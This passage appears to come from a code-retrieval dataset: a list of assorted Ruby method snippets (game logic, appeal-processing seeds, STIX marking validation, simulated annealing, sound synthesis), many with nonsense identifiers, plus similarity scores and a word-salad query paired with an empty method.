self.actor? and not user.actor?\\n self.overdrive += self.overdrive_gain['Eva']\\n end \\n end\",\n \"def two_pt_a\\n fga - three_p_a\\n end\",\n \"def one_gradable_ex_only\\n end\",\n \"def surge; end\",\n \"def biomagnetism_doughface_sissiness(avignonese_antrorsely)\\n end\",\n \"def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\\n end\",\n \"def applyBadConsequence(m)\\n if(m.getBadConsequence.isDeath)\\n discardAllTreasures\\n else\\n decrementLevels(m.getBadConsequence.getLevels)\\n pbc=m.getBadConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\\n setPendingBadConsequence(pbc)\\n end\\n\\n end\",\n \"def award; end\",\n \"def deaf_grandma\\nend\",\n \"def appraisals; end\",\n \"def appraisals; end\",\n \"def virality\\n 0\\n end\",\n \"def laund_interruptor(putriform, molder, glover)\\n solodi(harry_blanketweed, womenfolks, gabble)\\n modificability_ipomea_peristomal(homiliary, actability, reactant_iteration)\\n anglepod(crosswort_uninterruptedness, magnetist_footpaddery)\\n end\",\n \"def sharp; accidental; end\",\n \"def appellant_is_veteran\\n !veteran_is_not_claimant\\n end\",\n \"def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\\n petricola_foraminifer(henry_speculatrix, underwrite)\\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\\n end\",\n \"def fully_processed_vacate_appeal(mtv_judge, drafting_attorney, lit_support_user)\\n 3.times do\\n original_stream = create_decided_appeal(mtv_judge, drafting_attorney)\\n mtv_task = create_motion_to_vacate_mail_task(original_stream)\\n mtv_task.update!(status: \\\"on_hold\\\")\\n jam_task = send_mtv_to_judge(original_stream, mtv_judge, lit_support_user, mtv_task, \\\"granted\\\")\\n post_decision_motion = judge_addresses_mtv(jam_task, \\\"granted\\\", \\\"vacate_and_de_novo\\\", drafting_attorney)\\n vacate_stream = post_decision_motion.appeal\\n jdr_task = vacate_stream.tasks.find_by(type: \\\"JudgeDecisionReviewTask\\\")\\n attorney_task = jdr_task.children.find_by(type: \\\"AttorneyTask\\\")\\n [jdr_task, attorney_task].each { |t| t.update!(status: \\\"completed\\\") }\\n root_task = vacate_stream.tasks.find_by(type: \\\"RootTask\\\")\\n BvaDispatchTask.create_from_root_task(root_task)\\n dispatch_user = vacate_stream.tasks\\n .reload.assigned_to_any_user.find_by(type: \\\"BvaDispatchTask\\\").assigned_to\\n last_six = original_stream.veteran.file_number[-6..-1]\\n citation_number = \\\"A19#{last_six}\\\"\\n outcode_params = {\\n citation_number: citation_number,\\n decision_date: Time.zone.now,\\n redacted_document_location: \\\"\\\\\\\\\\\\\\\\bvacofil1.dva.va.gov\\\\\\\\archdata$\\\\\\\\arch1901\\\\\\\\#{citation_number}.txt\\\",\\n file: last_six\\n }\\n BvaDispatchTask.outcode(vacate_stream.reload, outcode_params, dispatch_user)\\n end\\n end\",\n \"def in_law; end\",\n \"def collegiate_rivals\\n end\",\n \"def applyBadConsequence(m)\\n badConsequence = m.getBadConsequence\\n nLevels = badConsequence.getLevels\\n decrementLevels(nLevels)\\n pendingBad = badConsequence.adjustToFitTreasureLists(@visibleTreasures, @hiddenTreasures)\\n setPendingBadConsequence(pendingBad)\\n \\n end\",\n \"def handleConjured\\n handleStandardDegredation(2)\\n end\",\n \"def policy; end\",\n \"def complete_investigation; end\",\n \"def baptized_catholic_no_checked\\n chosen_baptized_catholic? && !baptized_catholic?\\n end\",\n \"def maintenance_actions\\n\\t\\t\\tif is_mortgaged?\\n\\t\\t\\t\\t\\t\\tif @owner.decide(:consider_unmortgage, property: self).is_yes? and @owner.balance > cost\\n\\t\\t\\t\\t\\t\\t\\tunmortgage!\\n\\t\\t\\t\\t\\t\\tend\\n\\t\\t\\tend\\n\\t\\t\\tsuper\\n\\t\\tend\",\n \"def change_from_wild_probability\\n # TODO: 2+ skips\\n has_wild_probability\\n end\",\n \"def celebrity; end\",\n \"def celebrity; end\",\n \"def mark_progresses_for_removal\\n self.progresses.each do |p|\\n if p.due_date.blank? && p.accuracy.to_i <= 0\\n p.mark_for_destruction\\n end\\n end\\n end\",\n \"def rev_by_year_by_pg\\n @medium_fee_expected_conclusion = Graph.revenue_by_practice_group_estimated(current_user,'medium_estimate','estimated_conclusion_expected')\\n @medium_fee_accelerated_conclusion = Graph.revenue_by_practice_group_estimated(current_user,'medium_estimate',\\\"estimated_conclusion_fast\\\")\\n @medium_fee_slow_conclusion = Graph.revenue_by_practice_group_estimated(current_user,'medium_estimate',\\\"estimated_conclusion_slow\\\")\\n end\",\n \"def medical_use; end\",\n \"def mandate_of_heavens_for_all_asians!\\n patch_mod_file!(\\\"common/cb_types/00_cb_types.txt\\\") do |node|\\n req = node[\\\"cb_take_mandate\\\"][\\\"prerequisites_self\\\"]\\n # There is also second OR here, so this is very hacky!\\n raise unless req[\\\"OR\\\"] == PropertyList[\\n \\\"religion_group\\\", \\\"pagan\\\",\\n \\\"religion_group\\\", \\\"eastern\\\",\\n ]\\n req[\\\"OR\\\"].add! \\\"capital_scope\\\", PropertyList[\\\"continent\\\", \\\"asia\\\"]\\n end\\n end\",\n \"def cog\\n @cog * unanticipated_adjustment_factor\\nend\",\n \"def attack_phase\\n \\n #encontra o territorio com mais exercitos\\n territorios = get_territories.clone\\n territorios.sort! { |a,b| b.troops <=> a.troops }\\n \\n if territorios[0].troops == 1\\n @controller.attack_end(@conn,nil)\\n return\\n else\\n origem = territorios[0]\\n\\n #encontra territorio inimigo com menos tropas\\n alvos = vizinhos_inimigos(origem)\\n \\n if alvos.size == 0 \\n @controller.attack_end(@conn,nil)\\n return\\n end\\n alvos.sort! { |a,b| a.troops <=> b.troops } \\n \\n alvo = alvos[0]\\n \\n \\n order = {'origin' => origem.id, 'destiny' => alvo.id, 'qtd' => origem.troops-1}\\n @controller.attack_order(@conn,order)\\n end\\n \\n \\n \\n #usar @controller.attack_order() para fazer um ataque\\n #usar @controller.attack_end() para terminar fase de ataque\\n end\",\n \"def reject_automount!\\n @reject_automount = true\\n end\",\n \"def revanchism_is_bad!\\n warn \\\"Experimental code #{__method__}. Do not enable in release. #{__FILE__}:#{__LINE__}\\\"\\n\\n soft_patch_defines_lua!(\\\"fun_and_balance_revanchism\\\",\\n [\\\"NMilitary.REVANCHISM_DEVASTATION_IMPACT\\\", -0.02, 0],\\n )\\n\\n patch_mod_file!(\\\"common/static_modifiers/00_static_modifiers.txt\\\") do |node|\\n node[\\\"recovery_motivation\\\"] = PropertyList[\\n # that's still only half of what 20WE would do\\n \\\"local_unrest\\\", 10,\\n # this is fair\\n \\\"army_tradition\\\", 1,\\n \\\"navy_tradition\\\", 1,\\n ]\\n end\\n end\",\n \"def undisbursed_amount_factor\\n disbursement_remaining.to_f / Country.max_disbursement_remaining\\n end\",\n \"def custom_ais\\n return if self.is_ciscp\\n all_markings = self.stix_markings.select {|sm| sm.remote_object_field.blank?}\\n ais_struct = all_markings.collect(&:ais_consent_marking_structure).compact.first\\n return if all_markings.blank?\\n return if ais_struct.blank? \\n\\n if self.submission_mechanism.blank? || self.contributing_sources.blank? || self.contributing_sources.length < 1\\n errors.add(\\\"A contributing source\\\", \\\"and submission mechanism are required if including AIS Consent markings. \\\\n\\\")\\n return false #don't do any more validation until they include a submission mechanism and contributing source\\n end\\n\\n isa_struct = all_markings.collect(&:isa_marking_structure).compact.first\\n isa_asserts = all_markings.collect(&:isa_assertion_structure).compact.first\\n\\n # errors.add(\\\"ISA Assertions\\\", \\\"must be included with AIS Consent Markings\\\")\\n if isa_asserts.blank?\\n # If isa asserts are blank when the stix markings save it will run the ais to isa and create the isa markings.\\n return\\n end\\n\\n if isa_struct.blank?\\n isa_struct = IsaMarkingStructure.new(\\n re_custodian: 'USA.DHS.US-CERT',\\n re_originator: 'NONFED',\\n data_item_created_at: Time.now\\n )\\n\\n isa_struct.set_stix_id\\n isa_struct.set_guid\\n\\n if isa_asserts.stix_marking.present?\\n isa_struct.stix_marking = isa_asserts.stix_marking\\n isa_asserts.stix_marking.isa_marking_structure = isa_struct\\n elsif all_markings.first.respond_to?(:isa_marking_structure)\\n isa_struct.stix_marking = all_markings.first\\n all_markings.first.isa_marking_structure = isa_struct\\n end\\n end\\n\\n errors.add(\\\"Classification\\\", \\\"must be U if including AIS Consent markings\\\") if isa_asserts.cs_classification.blank? || !isa_asserts.cs_classification == 'U'\\n\\n if isa_asserts.cs_formal_determination.blank?\\n isa_asserts.cs_formal_determination = \\\"INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT\\\"\\n elsif isa_asserts.cs_formal_determination.upcase.exclude?('INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT')\\n isa_asserts.cs_formal_determination << ',INFORMATION-DIRECTLY-RELATED-TO-CYBERSECURITY-THREAT'\\n end\\n\\n # errors.add(\\\"Custodian and originator\\\", \\\"must both be included and custodian must be a USA organization if including AIS Consent Markings\\\\n\\\")\\n is_federal = self.contributing_sources.first.is_federal if self.contributing_sources.first.present?\\n isa_struct.re_originator = (is_federal.present? && is_federal == true) ? 'USA.USG' : 'NONFED' if isa_struct.re_originator.blank?\\n isa_struct.re_custodian = 'USA.DHS.US-CERT' if isa_struct.re_custodian.blank? || !isa_struct.re_custodian.start_with?('USA')\\n\\n # errors.add(\\\"CISA Proprietary\\\", \\\"must be True if Consent is Everyone\\\")\\n if isa_asserts.isa_privs.blank?\\n priv = IsaPriv.new(action: 'CISAUSES', scope_is_all: true, effect: 'permit', isa_assertion_structure: isa_asserts)\\n isa_asserts.isa_privs << priv\\n elsif isa_asserts.isa_privs.select{|x| x.action == \\\"CISAUSES\\\"}.first.respond_to?(:effect) && !(isa_asserts.isa_privs.select{|x| x.action == \\\"CISAUSES\\\"}.first.effect == \\\"permit\\\")\\n isa_asserts.isa_privs.select{|x| x.action == \\\"CISAUSES\\\"}.first.effect = \\\"permit\\\"\\n end\\n \\n # errors.add(\\\"Formal determination\\\", \\\"must include PUBREL and exclude FOUO if AIS color is white\\\\n\\\")\\n if(ais_struct.color == 'white')\\n # Set the pubrel fields if not set\\n if isa_asserts.public_release == false\\n isa_asserts.public_release = true \\n isa_asserts.public_released_by = isa_struct.re_originator if isa_struct.present?\\n isa_asserts.public_released_on = Time.now\\n end\\n\\n # Add the PUBREL fd if not included\\n if isa_asserts.cs_formal_determination.upcase.exclude?('PUBREL')\\n isa_asserts.cs_formal_determination << ',PUBREL'\\n end\\n \\n if isa_asserts.cs_formal_determination.upcase.include?('FOUO')\\n # Then find the index of the FOUO in the cs fd and remove it. this string is a comma seperated string so account for cases.\\n # We don't need to account for the blank FD case the first check was for the idrtct addition.\\n index = isa_asserts.cs_formal_determination.upcase.index('FOUO')\\n\\n # Account for the case where FOUO is somewhere in the middle of the end\\n if isa_asserts.cs_formal_determination[index - 1] == ','\\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\\\",FOUO\\\", '')\\n # Account for the case where FOUO is in the first position\\n elsif isa_asserts.cs_formal_determination[index - 1] != ',' && isa_asserts.cs_formal_determination[index + 1] == ','\\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\\\"FOUO,\\\", '')\\n end\\n end\\n # errors.add(\\\"Formal determination\\\", \\\"must include FOUO and exclude PUBREL if AIS color is amber\\\\n\\\")\\n elsif (ais_struct.color == 'amber')\\n if isa_asserts.cs_formal_determination.upcase.exclude?('FOUO')\\n isa_asserts.cs_formal_determination << ',FOUO'\\n end\\n\\n if isa_asserts.cs_formal_determination.upcase.include?('PUBREL')\\n # First set the pubrel fields to false\\n isa_asserts.public_release = false\\n isa_asserts.public_released_by = nil\\n isa_asserts.public_released_on = nil\\n # Then find the index of the pubrel in the cs fd and remove it. this string is a comma seperated string so account for cases.\\n # We don't need to account for the blank FD case the first check was for the idrtct addition.\\n index = isa_asserts.cs_formal_determination.upcase.index('PUBREL')\\n\\n # Account for the case where pubrel is somewhere in the middle of the end\\n if isa_asserts.cs_formal_determination[index - 1] == ','\\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\\\",PUBREL\\\", '')\\n # Account for the case where pubrel is in the first position\\n elsif isa_asserts.cs_formal_determination[index - 1] != ',' && isa_asserts.cs_formal_determination[index + 1] == ','\\n isa_asserts.cs_formal_determination = isa_asserts.cs_formal_determination.gsub(\\\"PUBREL,\\\", '')\\n end\\n end\\n end\\n\\n end\",\n \"def deductible_reduction\\n super.nil? ? rental.deductible_reduction : super\\n end\",\n \"def gdpr_policy\\n end\",\n \"def incomplete\\n puts \\\"not a feature of GoalTracker\\\"\\n end\",\n \"def calculate_liability\\n calculate_gross\\n end\",\n \"def check_plagiarism_state(auto_metareview, count_copies, rev_array, scores)\\n if count_copies > 0 #resetting review_array only when plagiarism was found\\n auto_metareview.review_array = rev_array\\n\\n\\n if count_copies == scores.length\\n return ALL_RESPONSES_PLAGIARISED #plagiarism, with all other metrics 0\\n else\\n return SOME_RESPONSES_PLAGIARISED #plagiarism, while evaluating other metrics\\n end\\n end\\nend\",\n \"def educational_attainment; end\",\n \"def daa\\n end\",\n \"def distinctions_offered\\n\\t\\tfind_related_frbr_objects( :presents, :which_distinctions?) \\n\\t end\",\n \"def adiposis(androtomy_vallary, untriumphant_bombidae, octuply_cytomitome)\\n kobellite(donkeyism, microperthite_billsticking, skiffless)\\n end\",\n \"def villian; end\",\n \"def anatomy; end\",\n \"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\\n suzan()\\n end\",\n \"def viable_organ_donors\\n\\nend\",\n \"def mutations_effect(a_anno, a_gen)\\n\\n if $locus[a_anno[10]] && a_anno[3].length == a_anno[4].length\\n $cdna.pos = $locus[a_anno[10]]\\n transcript = original()\\n exon_starts = a_gen[9].split(',')\\n exon_ends = a_gen[10].split(',')\\n mutation_position,exon_num = position_on_transcript(a_anno[1],a_gen[3],exon_starts,exon_ends,a_gen[6],a_gen[7])\\n a_anno[12] = \\\"exon#{exon_num}\\\"\\n start_triplet = (mutation_position/3 * 3) - 1\\n if start_triplet >= 0\\n code = transcript[start_triplet..start_triplet+2]\\n pos_in_triplet = mutation_position%3\\n original_aa = $codes[code]\\n code[pos_in_triplet] = a_anno[4]\\n mutated_aa = $codes[code[0..2]]\\n if original_aa != mutated_aa\\n a_anno[13] = pos_in_triplet + 1\\n a_anno[14] = original_aa[:name]\\n a_anno[15] = mutated_aa[:name]\\n puts a_anno.join(\\\"\\\\t\\\")\\n else\\n a_anno[13] = \\\"same_AA\\\"\\n STDERR.puts a_anno.join(\\\"\\\\t\\\")\\n end\\n end\\n else\\n if $locus_non_coding[a_anno[10]]\\n a_anno[13] = \\\"ncrna\\\"\\n STDERR.puts a_anno.join(\\\"\\\\t\\\")\\n else\\n if (a_anno[3].length > a_anno[4].length || a_anno[3].length < a_anno[4].length)\\n a_anno[13] = \\\"indel\\\"\\n puts a_anno.join(\\\"\\\\t\\\")\\n else\\n a_anno[13] = \\\"?\\\"\\n STDERR.puts a_anno.join(\\\"\\\\t\\\")\\n end\\n end\\n end\\n\\nend\",\n \"def unsolved_params\\n \\n end\",\n \"def asign\\n # -> uncomment the next line to manually enable rule tracing\\n # trace_in( __method__, 11 )\\n a = nil\\n\\n begin\\n # at line 49:11: a= ID EQLS comp\\n a = match( ID, TOKENS_FOLLOWING_ID_IN_asign_453 )\\n # --> action\\n agc_1(a)\\n # <-- action\\n match( EQLS, TOKENS_FOLLOWING_EQLS_IN_asign_457 )\\n # --> action\\n agc_2('=')\\n # <-- action\\n @state.following.push( TOKENS_FOLLOWING_comp_IN_asign_461 )\\n comp\\n @state.following.pop\\n # --> action\\n agc_3('=')\\n # <-- action\\n\\n rescue ANTLR3::Error::RecognitionError => re\\n report_error(re)\\n recover(re)\\n\\n ensure\\n # -> uncomment the next line to manually enable rule tracing\\n # trace_out( __method__, 11 )\\n\\n end\\n \\n return \\n end\",\n \"def irredundant(on,dc,deadline)\\n # Step 1: get the relatively essential.\\n # print \\\"on=#{on}\\\\n\\\"\\n cubes, es_rel = on.each_cube.partition do |cube| \\n ((on+dc) - cube).cofactor_cube(cube).is_tautology?\\n end\\n return on.clone if cubes.empty? # There were only relatively essentials.\\n # print \\\"cubes = #{cubes}\\\\n\\\"\\n # print \\\"es_rel = #{es_rel}\\\\n\\\"\\n \\n # Step 2: get the partially and totally redundants.\\n es_rel_dc = Cover.new(*on.each_variable)\\n es_rel.each { |cube| es_rel_dc << cube }\\n dc.each { |cube| es_rel_dc << cube }\\n red_tot, red_par = cubes.partition do |cube|\\n es_rel_dc.cofactor_cube(cube).is_tautology?\\n end\\n # red_par is to be used as a cover.\\n red_par_cover = Cover.new(*on.each_variable)\\n red_par.each { |cube| red_par_cover << cube }\\n # print \\\"es_rel_dc = #{es_rel_dc}\\\\n\\\"\\n # print \\\"red_tot = #{red_tot}\\\\n\\\"\\n # print \\\"red_par = #{red_par}\\\\n\\\"\\n\\n # Step 3: get the minimal sets of partially redundant.\\n red_par_sets = red_par.map do |cube|\\n # print \\\"for cube=#{cube}\\\\n\\\"\\n minimal_set_covers( cofactor_cube_indexed(red_par_cover,cube),\\n cofactor_cube_indexed(es_rel_dc,cube) )\\n end\\n # red_par_sets.each { |set| set.map! {|i| red_par[i] } }\\n # print \\\"red_par_sets=#{red_par_sets}\\\\n\\\"\\n\\n # Step 4: find the smallest minimal set using the minimal column covers\\n # algorithm.\\n # For that purpose build the boolean matrix whose columns are for the\\n # partially redundant cubes and the rows are for the sets, \\\"1\\\" \\n # indication the cube is the in set.\\n matrix = [] \\n red_par_sets.each do |sets|\\n sets.each do |set|\\n row = \\\"0\\\" * red_par.size\\n # set.each { |i| row[i] = \\\"1\\\" }\\n set.each { |i| row.setbyte(i,49) }\\n matrix << row\\n end\\n end\\n # print \\\"matrix=#{matrix}\\\\n\\\"\\n smallest_set_cols = minimal_column_covers(matrix,true,deadline)\\n # print \\\"smallest_set_cols=#{smallest_set_cols}\\\\n\\\"\\n \\n # Creates a new cover with the relative essential cubes and the\\n # smallest set of partially redundant cubes.\\n cover = Cover.new(*on.each_variable)\\n es_rel.each { |cube| cover << cube.clone }\\n # smallest_set_cols.each do |set| \\n # set.each { |col| cover << red_par[col].clone }\\n # end\\n smallest_set_cols.each { |col| cover << red_par[col].clone }\\n # print \\\"cover=#{cover}\\\\n\\\"\\n return cover \\n end\",\n \"def king_richard_iii; end\",\n \"def positive; end\",\n \"def positive; end\",\n \"def unredeemable?\\n payment_owed? && !(ProductStrategy === self.order.promotion.strategy) \\n end\",\n \"def district_approve(user, date)\\n\\t raise \\\"Can't approve this, as it has already been approved for recording at the district\\\" if self.credit_transmittal_batch_id\\n\\t \\n\\t self.district_finalize_approved = true\\n self.district_finalize_approved_by = user.last_name_first\\n self.district_finalize_approved_on = date\\n\\n # set denormalized credits info\\n denormalize_credit\\n \\n save!\\n\\n self.child_credit_assignments.each do |ca|\\n if ca.denormalize_credit\\n ca.save\\n end\\n end\\n\\tend\",\n \"def elv_blindalys\\n !elv_armulys\\n end\",\n \"def loyalty_allowance\\n if @faculty.eligible_for_loyality_allowance?(@generation_date)\\n ((component_criterias[:loyalty_allowance]/100)*basic) #* eligibility_fraction)\\n end\\n end\",\n \"def test_ut_t2_ars_arc_020\\n # tcana admin\\n current_user = User.find_by_id(TCANA_ADMIN_ID)\\n ars = Pu.find_by_id(PU_ID).analyze_rule_configs[0] # ars being used\\n assert !ars.deletable?(current_user, PU_ID, PJ_ID)\\n end\",\n \"def scabrous_sphenophyllaceae_fogdog(metastable, meio, unawakenedness_notably)\\n redry_manifoldwise_photoactive()\\n spongiae(internuncius)\\n radialization?(lealness_pratiloma)\\n end\",\n \"def disapprove\\n self.approved = false\\n end\",\n \"def offenses; end\",\n \"def offenses; end\",\n \"def offenses; end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6338607","0.62673044","0.60471535","0.5983083","0.5981214","0.5950843","0.5881221","0.58681166","0.5836456","0.5748462","0.57408834","0.569724","0.5622021","0.5592617","0.55696934","0.5564218","0.5555616","0.5541973","0.55179596","0.5509245","0.55007225","0.5480326","0.54660386","0.5451023","0.54399264","0.53584045","0.5357093","0.5353117","0.5324697","0.5316875","0.5312599","0.52731204","0.5259411","0.5252996","0.5246743","0.5243839","0.5241116","0.5238824","0.52358717","0.5226884","0.5222472","0.5202531","0.5202531","0.51983726","0.5189805","0.5183816","0.5178018","0.51734895","0.5168423","0.5166647","0.51589656","0.5134709","0.5118891","0.51154536","0.5107149","0.5101976","0.5099267","0.5096258","0.5094934","0.5094934","0.50893563","0.5078399","0.5075142","0.5066921","0.506283","0.5057075","0.50557125","0.5053682","0.5046226","0.50385064","0.50375944","0.5027312","0.50224036","0.5022186","0.50176346","0.5012701","0.5012172","0.5010758","0.5010191","0.5008792","0.50049794","0.5003608","0.49984565","0.49830258","0.4980018","0.49777877","0.49662504","0.49639684","0.49621338","0.49621338","0.4959531","0.49559867","0.4946289","0.49426177","0.49360505","0.49360242","0.49327043","0.49296337","0.49296337","0.49296337"],"string":"[\n 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venomproof gigsman puke chitinized backfilling"},"document":{"kind":"string","value":"def nonstriker_perimartium(pronunciation_crotched)\n end"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def superweening_adorningly(counterstand_pyrenomycetales)\n end","def impureness(overwhipped)\n talpetate()\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\n end","def mitch_hedberg; end","def fix_setpoint_inversion(htg_hrly, clg_hrly, hvac, weather, model, runner)\n cooling_season = hvac.get_season(model, weather, runner, Constants.ObjectNameCoolingSeason)\n heating_season = hvac.get_season(model, weather, runner, Constants.ObjectNameHeatingSeason)\n\n year_description = model.getYearDescription\n run_period = model.getRunPeriod\n start_month = run_period.getBeginMonth - 1\n end_month = run_period.getEndMonth - 1\n\n day_e = 0\n days_in_month = Constants.NumDaysInMonths(year_description.isLeapYear)\n (start_month..end_month).to_a.each do |i|\n day_s = day_e + 1\n day_e = day_s + days_in_month[i] - 1\n hr1 = (day_s - 1) * 24\n hr2 = day_e * 24 - 1\n\n htg_hrly_month = htg_hrly[hr1..hr2]\n clg_hrly_month = clg_hrly[hr1..hr2]\n\n if (heating_season[i] == 1) && (cooling_season[i] == 1)\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? (h + c) / 2.0 : h }\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? (h + c) / 2.0 : c }\n elsif heating_season[i] == 1 # heating only seasons; cooling has minimum of heating\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? h : h }\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? h : c }\n elsif cooling_season[i] == 1 # cooling only seasons; heating has maximum of cooling\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? c : h }\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? c : c }\n end\n end\n end","def anneal\n step = 0\n self.start = Time.now\n\n # Precompute factor for exponential cooling from Tmax to Tmin\n if self.tmin <= 0.0\n raise 'Exponential cooling requires a minimum temperature greater than zero.'\n end\n t_factor = -Math.log(self.tmax.to_f / self.tmin)\n\n # Note initial state\n t = self.tmax\n e = self.energy\n\n prev_state = self.state.dup\n prev_energy = e\n best_state = self.state.dup\n best_energy = e\n\n trials, accepts, improves = 0, 0, 0\n if self.updates > 0\n update_wavelength = self.steps / self.updates\n self.update(step, t, e, nil, nil)\n end\n\n # Attempt moves to new states\n while step < self.steps\n step += 1\n t = self.tmax * Math.exp(t_factor * step / self.steps)\n self.move\n e = self.energy\n dE = e - prev_energy\n trials += 1\n\n if dE > 0.0 and Math.exp(-dE / t) < rand()\n # Restore previous state\n self.state = prev_state.dup\n e = prev_energy\n else\n # Accept new state and compare to best state\n accepts += 1\n if dE < 0.0\n improves += 1\n end\n\n prev_state = self.state.dup\n prev_energy = e\n\n if e < best_energy\n best_state = self.state.dup\n best_energy = e\n end\n end\n\n if self.updates > 1\n if step / update_wavelength > (step - 1) / update_wavelength\n self.update(step, t, e, accepts.to_f / trials, improves.to_f / trials)\n trials, accepts, improves = 0, 0, 0\n end\n end\n\n break if best_energy == 0.0\n end\n\n # line break after progress output\n puts\n\n self.state = best_state.dup\n\n # Return best state and energy\n return [best_state, best_energy]\n\n end","def irpolialcoholes\n vag=(polialcoholes * 100) / 90\n vag.round(2)\n end","def biomagnetism_doughface_sissiness(avignonese_antrorsely)\n end","def laund_interruptor(putriform, molder, glover)\n solodi(harry_blanketweed, womenfolks, gabble)\n modificability_ipomea_peristomal(homiliary, actability, reactant_iteration)\n anglepod(crosswort_uninterruptedness, magnetist_footpaddery)\n end","def half_wind; end","def calculate_steps_removing_water\n\t\tsteps_required_to_fill = (@big_vessel - @objective) / @small_vessel.to_f\n\t\tsteps_as_integer = (@big_vessel - @objective) / @small_vessel\n\n\t\treturn steps_as_integer *2 , steps_required_to_fill *2\n\tend","def elevation_loss(ride)\n descending_point_pairs(ride).inject(0) { |total, pair| total + elevation_between(*pair) } * -1\n end","def leapfrog\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\n alpha = @a*@dt/@dx\n @u[1] = (1.upto(@mx-3)).to_a # u(x, t1)\n @u[1].map! { |j| 0.5*(@u[0][j+1]+u[0][j-1])-0.5*alpha*(@u[0][j+1]-@u[0][j-1]) }\n @u[1].unshift 0.5*(@u[0][1]+u[0][@mx-2])-0.5*alpha*(@u[0][1]-@u[0][@mx-2]) # u(0,t1)\n @u[1].push 0.5*(@u[0][0]+u[0][@mx-3])-0.5*alpha*(@u[0][0]-@u[0][@mx-3]) # u(max(x), t1)\n @u[1].push @u[1][0] # periodic BC\n 1.upto(@mt-2) do |n|\n @u[n+1] = (1.upto(@mx-3)).to_a\n @u[n+1].map! { |j| @u[n-1][j]-alpha*(@u[n][j+1]-@u[n][j-1])}\n @u[n+1].unshift @u[n-1][0]-alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\n @u[n+1].push @u[n-1][@mx-2]-alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\n @u[n+1].push @u[n+1][0] # periodic BC\n end\n end","def elv_blindalys\n !elv_armulys\n end","def virus_effects\n speed_of_spread(predicted_deaths()) \n\n end","def get_hitchances(fleet_array)\n if (fleet_array.length > 0 )\n total_tp = 0\n fleet_array.each do |a|\n total_tp = total_tp + a[-2]\n end\n fleet_array.each do |a|\n if a[1] > 0\n a[-1] = (a[-2].to_f/total_tp.to_f)\n end \n end\n end\n end","def explode_curve\n end","def explode_curve\n end","def smoothing; end","def how_high\n energy * energy\nend","def cellon(start, dur, pitch0, amp, ampfun, betafun,\n beta0, beta1, betaat, betadc, ampat, ampdc, dis, pcrev, deg, pitch1,\n glissfun = [0, 0, 100, 0], glissat = 0.0, glissdc = 0.0,\n pvibfreq = 0.0, pvibpc = 0.0,\n pvibfun = [0, 1, 100, 1], pvibat = 0.0, pvibdc = 0.0,\n rvibfreq = 0.0, rvibpc = 0.0, rvibfun = [0, 1, 100, 1])\n\n pit1 = pitch1.zero? ? pitch0 : pitch1\n car = make_oscil(:frequency, pitch0)\n low = make_one_zero(0.5, -0.5)\n fmosc = make_oscil(:frequency, pitch0)\n fm = 0.0\n dur = dur.to_f\n pitch0 = pitch0.to_f\n pvib = make_triangle_wave(:frequency, pvibfreq, :amplitude, 1.0)\n rvib = make_rand_interp(:frequency, rvibfreq, :amplitude, 1.0)\n ampap = (ampat > 0.0 ? (100 * (ampat / dur)) : 25)\n ampdp = (ampdc > 0.0 ? (100 * (1.0 - ampdc / dur)) : 75)\n glsap = (glissat > 0.0 ? (100 * (glissat / dur)) : 25)\n glsdp = (glissdc > 0.0 ? (100 * (1.0 - glissdc / dur)) : 75)\n betap = (betaat > 0.0 ? (100 * (betaat / dur)) : 25)\n betdp = (betadc > 0.0 ? (100 * (1.0 - betadc / dur)) : 75)\n pvbap = (pvibat > 0.0 ? (100 * (pvibat / dur)) : 25)\n pvbdp = (pvibdc > 0.0 ? (100 * (1.0 - pvibdc / dur)) : 75)\n pvibenv = make_env(:envelope,\n stretch_envelope(pvibfun, 25, pvbap, 75, pvbdp),\n :scaler, hz2radians(pvibpc * pitch0),\n :duration, dur)\n rvibenv = make_env(:envelope, stretch_envelope(rvibfun),\n :duration, dur,\n :scaler, hz2radians(rvibpc * pitch0))\n glisenv = make_env(:envelope,\n stretch_envelope(glissfun, 25, glsap, 75, glsdp),\n :scaler, hz2radians(pit1 - pitch0),\n :duration, dur)\n amplenv = make_env(:envelope, stretch_envelope(ampfun, 25, ampap, 75, ampdp),\n :scaler, amp,\n :duration, dur)\n betaenv = make_env(:envelope, stretch_envelope(betafun, 25, betap, 75, betdp),\n :scaler, beta1 - beta0,\n :offset, beta0,\n :duration, dur)\n run_instrument(start, dur,\n :degree, deg,\n :distance, dis,\n :reverb_amount, pcrev) do\n vib = env(pvibenv) * triangle_wave(pvib) +\n env(rvibenv) * rand_interp(rvib) +\n env(glisenv)\n fm = one_zero(low, env(betaenv) * oscil(fmosc, fm + vib))\n env(amplenv) * oscil(car, fm + vib)\n end\nend","def huella_ambiental\r\n energia = 0.0\r\n carbono = 0.0\r\n huella = 0.0\r\n if vct < 670 then\r\n energia = 1.0\r\n 